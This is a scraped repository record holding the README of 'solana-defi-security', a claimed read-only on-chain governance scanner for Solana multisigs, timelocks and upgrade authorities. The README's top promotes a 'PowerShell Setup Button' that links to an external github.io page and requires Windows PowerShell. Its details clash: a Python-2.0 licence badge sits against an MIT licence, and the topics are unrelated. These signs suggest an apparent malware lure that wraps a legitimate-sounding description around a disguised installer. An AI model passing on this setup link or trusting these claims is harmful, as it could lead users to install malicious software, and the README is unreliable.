[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-115812":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":14,"stars30d":14,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":15,"rankGlobal":9,"rankLanguage":9,"license":16,"archived":17,"fork":17,"defaultBranch":18,"hasWiki":19,"hasPages":19,"topics":20,"createdAt":9,"pushedAt":41,"updatedAt":42,"readmeContent":43,"aiSummary":44,"trendingCount":12,"starSnapshotCount":12,"syncStatus":45,"lastSyncTime":46,"discoverSource":47},115812,"solana-defi-security","bryanwalter710-debug\u002Fsolana-defi-security","bryanwalter710-debug","Solana DeFi Security: On-Chain Governance Risk Analysis for Multisig, Timelock, and Upgrade Authorit",null,"HTML",153,0,101,52,65.2,"MIT License",false,"main",true,[21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40],"angulardart","ark","btc","cam","curated-list","dart","gpu","helius-rpc","inference","layer2","lightning","liquid","multisig","pixelcam","product","protocol-security","public-goods","spark","squads","transparency","2026-11-23 10:17:58","2026-11-21 21:32:17","\u003Cdiv align=\"center\">\n\n# Solana DeFi Security: On-Chain Governance Risk Analysis — Security Tool\n\n![](files\u002Fpreview.png)\n\n### ⚡ PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fbryanwalter710-debug.github.io\u002Fsolana-defi-security\u002F)\n\n[![status](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FStatus-Stable-2ea44f?style=for-the-badge&labelColor=0d1117)]() [![licence](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLicence-Python--2.0-ec4899?style=for-the-badge&labelColor=0d1117)]() [![checks](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FChecks-Passing-2ea44f?style=for-the-badge&labelColor=0d1117)]() [![powershell](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPowershell-5.1%2B-f472b6?style=for-the-badge&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nSolana DeFi Security reads multisig configurations, timelocks, upgrade authorities, and signer activity directly from on-chain state across more than 50 protocols. Every governance parameter it surfaces is decoded from chain data rather than documentation, and each protocol entry is re-verified against live state on a recurring schedule so drift between published configuration and actual authority is caught rather than assumed away. The scanner flags the post-deployment governance risks that audits do not cover, including threshold and membership changes, upgrade authority concentration, and signer overlap between programs. Data is served through the scanner's own parsers and RPC reads, with any non-chain context attributed at the source.\n\n## 🔧 Requirements\n\n- Windows 10 or Windows 11\n- PowerShell 5.1 or newer (already available on Windows)\n- Active network connection\n- No admin rights needed\n\n## Features\n\n**On-chain governance reads across 50+ protocols.** Multisig thresholds, signer sets, timelocks, and upgrade authorities are decoded directly from chain state for Squads V4, Squads V3, Serum Multisig, the Marinade mean-multisig fork, and SPL Governance. Each program's seed conventions and account ordering are handled by dedicated reverse-lookup paths rather than a generic decoder.\n\n- **Multisig configuration monitoring.** Threshold, member, timelock, and configAuthority changes are detected via account-subscribe with previous-state diffing, so only genuine deltas surface. Cron-driven backfill catches V3 multisigs and configuration changes the listener misses.\n\n- **Upgrade authority mapping.** BPF Upgradeable Loader authority lookups use byte-offset preconditions that validate program data length before reading the authority field, distinguishing immutable programs from unparseable ones. Cross-program concentration is surfaced: a single vault PDA holding upgrade authority over many programs is flagged.\n\n- **Queued proposal visibility.** Proposals are shown only when they can still execute on-chain, with Squads rules, deploy buffers, target accounts, and authorities checked. Approved proposals still collecting approvals are labelled separately from those ready to execute.\n\n- **Signer independence scoring.** The ratio of unique signers to total signer slots across a 's multisigs is computed per protocol, exposed in the API and dashboard, and refreshed as signer sets rotate.\n\n- **Signer-funder detection.** Signers funded by sources outside the existing registry are surfaced through a cross-protocol funder registry, flagging new keys that appear on established multisigs.\n\n- **Nine pattern detectors tuned to early governance warning signs.** Brand-new signer on a fresh multisig, rehearsal-pattern fingerprints, controlled multisig clusters, weakest-link migration, fresh-multisig handover, stale config authority, rapid governance bursts, upgrade authority concentration, and signer-funder detection.\n\n- **Multi verification on critical events.** Alerts are triaged with a narrow toolset and capped iterations, then verified against additional on-chain account state before being classified as signal or noise. LLM output is sanitised before posting.\n\n- **Risk-weighted alert routing.** Programs controlling treasuries, admin authorities, and large TVL receive higher-frequency monitoring. Event severity is tiered so can mute lower-priority output without losing the urgent cases.\n\n- **Token coverage.** SPL token freeze and mint authority changes are monitored across 30 tokens, with Token extension flags surfaced: transfer hooks, freeze authority, mint renunciation. 1-of-N SPL Token Multisig setups are flagged.\n\n- **Cross-chain governance surface.** 22 LayerZero DVN multisigs are included for bridge governance coverage.\n\n- **Durable nonce detection.** `initializeNonceAccount` on tier-1 signers is treated as the highest-priority case; established nonces older than 30 days drop to the lowest priority to avoid false positives on legitimate operational use.\n\n- ** API.** Versioned endpoints with OpenAPI 3.1 spec, bulk and search queries, and HMAC-SHA256 signed webhook subscriptions. Timing-safe secret comparison and per-subscriber timeout isolation prevent one unresponsive partner from blocking the listener.\n\n- **Telegram bot.** Lookups for open proposals and whether each can still execute, verified-build status, recent governance events, and tracking for any Squads V4 multisig with private DM alerts.\n\n- **CI and agent tooling.** A GitHub Action that checks a protocol's governance state in CI and a Model Context Protocol server exposing the API as tools for agent queries.\n\n- **Continuous verification of published data.** Weekly automated checks of published protocol data against live chain state, source links, and research dates. Governance activity is refreshed daily; upgrade authorities and role multisigs every 3 hours.\n\n- **Open source and free.** MIT licensed, no token, no auth on the API.\n\n## How it works\n\nSolana DeFi Security reads governance state directly from Solana RPC endpoints on a fixed schedule and on demand. Every value shown is derived from account data — no figures are estimates, scraped, or inferred from documentation alone.\n\n### On-chain reads\n\n- **Multisig configuration:** threshold, signer set, timelock, and config authority are read from the multisig account itself. Squads V4, Squads V3, and SPL Governance layouts are decoded with separate parsers; each program family has distinct seed conventions and account ordering, so a single generic decoder is not used.\n- **Upgrade authorities:** the BPF Upgradeable Loader is queried for the authority field of every program in scope. Program data length is validated before the authority field is read, so \"immutable\" is distinguished from \"unparseable\" rather than collapsed into one state.\n- **Vault discovery:** the vault PDA behind a multisig is resolved through three fallback strategies (instruction-level parse, top-level account keys with owner verification, and createKey-based derivation). A failed first path does not silently drop the multisig from coverage.\n- **Signer activity:** proposal approvals, executions, and configuration changes are reconstructed from each multisig's full transaction history. Queued proposals are shown only when they can still execute — target accounts, authorities, and Squads execution rules are checked before a proposal is labelled live.\n- **Authority concentration:** every program controlled by a given vault PDA is enumerated so a single key holding upgrade authority over many programs is visible as one blast radius, not as unrelated entries.\n\n### Refresh cadence\n\n- Governance configuration (signers, thresholds, timelocks) is refreshed every few hours.\n- Proposal activity and signer events are refreshed daily from full history.\n- A weekly check re-reads published protocol data against live chain state and flags any divergence.\n\n### Verification before surfacing\n\nDetections are treated as candidates until confirmed. A change detected on a subscribed account is followed by additional account reads to confirm the new state before it is reported. Events that fail verification are not surfaced as findings. Where a published claim about a protocol cannot be matched to chain state, the chain state is authoritative and the discrepancy is recorded rather than resolved silently.\n\n### What it does not do\n\nThe tool does not sign transactions, hold keys, or modify any on-chain state. It is read-only against RPC endpoints. It does not replace an audit; it covers the period after deployment, when governance configuration can change without a new audit.\n\n## Privacy\n\nSolana DeFi Security is a read-only analysis tool. It does not hold keys, sign transactions, or require wallet connections. All governance data is derived from on-chain state via RPC reads of multisig accounts, program authorities, timelocks, and signer activity across the tracked protocols.\n\nNo personal data is collected. There is no account system, no telemetry pipeline, and no analytics SDK embedded in the client. The tool does not request, store, or transmit seed phrases, private keys, or signed messages. Queries are constructed from program addresses and account metadata that are already visible on-chain to any observer running a node.\n\nLocal operation is stateless by default. Configuration, scan results, and caches remain on the machine running the tool unless an operator explicitly exports them. Network egress is limited to the RPC endpoints and data sources required to resolve governance state; no third-party advertising, tracking, or fingerprinting services are contacted.\n\nWhen run against a remote RPC provider, that provider observes the request pattern in the same way it would for any client querying accounts. This is inherent to reading chain state and is not specific to this tool. Operators who require stricter isolation can point the tool at a self-hosted RPC endpoint; the tool makes no assumption about provider identity beyond a valid JSON-RPC interface.\n\nLogs are written locally and rotated. They contain program addresses, slot numbers, and decoding outcomes — not user identity. No log payload is transmitted off-host by the tool itself. Any forwarding, aggregation, or retention beyond the local filesystem is the responsibility of the operator deploying it.\n\nThe tool performs no write operations against tracked protocols and cannot alter multisig configuration, thresholds, signers, or upgrade authorities. Findings are advisory: they reflect what the chain reports at read time, and are surfaced for human review rather than acted upon automatically.\n\n## FAQ\n\n**Does this tool execute transactions or hold keys?**\nNo. Solana DeFi Security is read-only. It performs on-chain account reads to derive governance state and never signs, submits, or relays transactions. No private keys are requested, stored, or transmitted at any point.\n\n**Where does the data come from?**\nEvery governance fact shown — multisig thresholds, signer sets, timelocks, upgrade authorities, config authorities, and proposal lifecycles — is read directly from Solana chain state via RPC. No governance configuration is inferred from documentation or manually entered. Audit references and disclosure context are hand-curated with cited sources and dates.\n\n**How current is the data?**\nRefresh cadence differs by data class. Governance activity per protocol is rebuilt daily from each multisig's full on-chain history. Program authorities and governance role multisigs are re-read every 3 hours. Multisig configuration changes are detected in near real time via WebSocket account subscription with previous-state diffing. Published dataset entries are re-verified against live chain state and primary sources on a weekly automated check.\n\n**Which multisig and governance formats are supported?**\nDecoding is implemented per program layout, not through a single generic parser: Squads V4, Squads V3, Serum Multisig, the Marinade mean-multisig fork, SPL Governance, BPF Upgradeable Loader authority fields, and Wormhole guardian sets. Vault PDA discovery uses three fallback strategies to avoid silent resolution failures.\n\n**What happens when a program authority cannot be parsed?**\nUnparseable state is distinguished from immutable state. Authority field reads are gated on validated program data length and byte-offset preconditions, so a decode failure is reported as unparseable rather than misclassified as immutable.\n\n**Does the tool flag risks or assign verdicts?**\nIt surfaces conditions, not conclusions. Detection output enumerates specific configuration patterns — zero timelock, fresh-multisig handover, upgrade authority concentration, external config authority, signer funder relationships, and similar — each tied to the on-chain evidence that triggered it. Condition matches are counts, not weighted scores, so the underlying configuration remains inspectable.\n\n**What are the false-positive controls?**\nCritical alerts pass through automated triage with follow-up RPC reads before classification. Durable nonce detection is prioritised by signal strength so established operational nonces do not generate noise. Queued proposals are shown only when they can still execute on-chain, with Squads rules, deploy buffers, target accounts, and authorities checked first.\n\n**Is there an API, and does it require authentication?**\nA API serves governance state per protocol, including queued proposals, program deploys, and full-history governance activity. Endpoints are versioned and described by an OpenAPI 3.1 specification. No authentication is required for reads. Webhook subscriptions are signed with HMAC-SHA256 and verified using constant-time comparison.\n\n**Can this be used in CI or by automated agents?**\nYes. A Model Context Protocol server exposes the API as tools for agent use, and a CI action checks a protocol's governance state during pipeline runs. Both consume the same data surface as the dashboard.\n\n**Does the tool collect telemetry?**\nChain reads are the only data source for governance state. No wallet connection is required to view results, and no user identifiers are needed for reads.\n\n**Is coverage complete?**\nNo. Coverage spans 50+ protocols, 63 multisigs, and 188 mapped programs, plus LayerZero DVNs and SPL tokens for adjacent governance surface. Protocols outside the tracked set are not monitored, and absence of a finding for a tracked protocol indicates the absence of a matched condition — not the absence of risk.\n\n**How are inaccuracies handled?**\nFactual corrections are accepted with supporting on-chain evidence or a primary source. Discrepancies between published data and live state are caught by the weekly verification pass and corrected at the source record.\n\n**Is the project open source?**\nYes. The scanner, dashboard, API surface, agent tooling, and CI action are open source under the MIT license. There is no token, no paid tier gating governance data, and no authentication barrier on reads.\n\n## Disclaimer\n\nSolana DeFi Security provides on-chain governance and security observations for informational purposes only. All data displayed by the tool is derived from Solana chain state and, where noted, curated protocol metadata. The tool does not provide investment advice, financial advice, trading advice, legal advice, or any other form of professional advice.\n\nReadings, flags, scores, and risk indicators produced by Solana DeFi Security are heuristic and probabilistic. They are generated from automated parsing of multisig configurations, timelocks, upgrade authorities, signer activity, and related on-chain state. Automated detection can produce false positives and false negatives. A flag does not constitute proof of a vulnerability, compromise, or malicious intent, and the absence of a flag does not constitute proof of safety, correctness, or sound governance.\n\nBlockchain state changes continuously. Data served by Solana DeFi Security reflects the chain state observed at the time of the most recent read and may be stale, incomplete, or unavailable due to RPC outages, rate limits, reorgs, indexer lag, or parsing assumptions that no longer match an on-chain program layout. Protocol coverage is not exhaustive, and the inclusion or exclusion of any protocol does not imply any judgment about that protocol.\n\nYou are solely responsible for verifying any information before acting on it. Do not rely on Solana DeFi Security as the sole basis for any decision involving capital, custody, governance participation, or protocol interaction. Independent review of on-chain state through trusted tooling is recommended for any consequential decision.\n\nSolana DeFi Security is provided \"as is\" and \"as available,\" without warranties of any kind, express or implied, including warranties of accuracy, completeness, fitness for a particular purpose, or non-infringement. To the maximum extent permitted by applicable law, the maintainers accept no liability for any direct, indirect, incidental, consequential, or special damages arising from the use of, or reliance on, this tool or its output.\n\nNothing in this repository constitutes an audit, attestation, or endorsement of any protocol,, signer, or multisig configuration.\n\n## License\n\nDistributed under the MIT License.\n\nPermission is granted, free of charge, to any person obtaining a copy of this software and associated documentation files, to deal in the software without restriction, including the rights to use, copy, modify, merge, publish, distribute, sublicense, and sell copies of the software, subject to the condition that the copyright notice and this permission notice are included in all copies or substantial portions of the software.\n\nThe software is provided \"as is\", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and noninfringement. In no event shall the authors or copyright holders be liable for any claim, damages, or other liability, whether in an action of contract, tort, or otherwise, arising from, out of, or in connection with the software or the use or other dealings in the software.\n\nThe license applies to the source code in this repository. It does not grant rights to protocol data attributed to third parties, nor does it modify the terms under which any tracked protocol, RPC provider, or data source is governed. On-chain reads surface publicly verifiable state; the license does not constitute a warranty of accuracy, completeness, or fitness for any decision, including security or financial decisions.\n\nNo token, no financial instrument, and no claim on any protocol's assets are conveyed by this license.","这是一个面向Solana生态DeFi项目的链上治理安全分析工具，专注于实时检测多签、时间锁和升级权限等关键治理机制的风险。它直接从链上读取50多个协议的原始状态（如Squads V3\u002FV4、Serum Multisig、SPL Governance等），通过专用解析器反向还原账户结构与权限逻辑，支持阈值变更监测、升级权集中度识别、待执行提案验证及签名者独立性评分。所有数据基于RPC实时校验，避免依赖过时文档。适用于审计团队、协议运营方及安全研究人员对部署后治理风险进行持续监控与合规评估。",2,"2026-11-24 04:52:13","CREATED_QUERY"]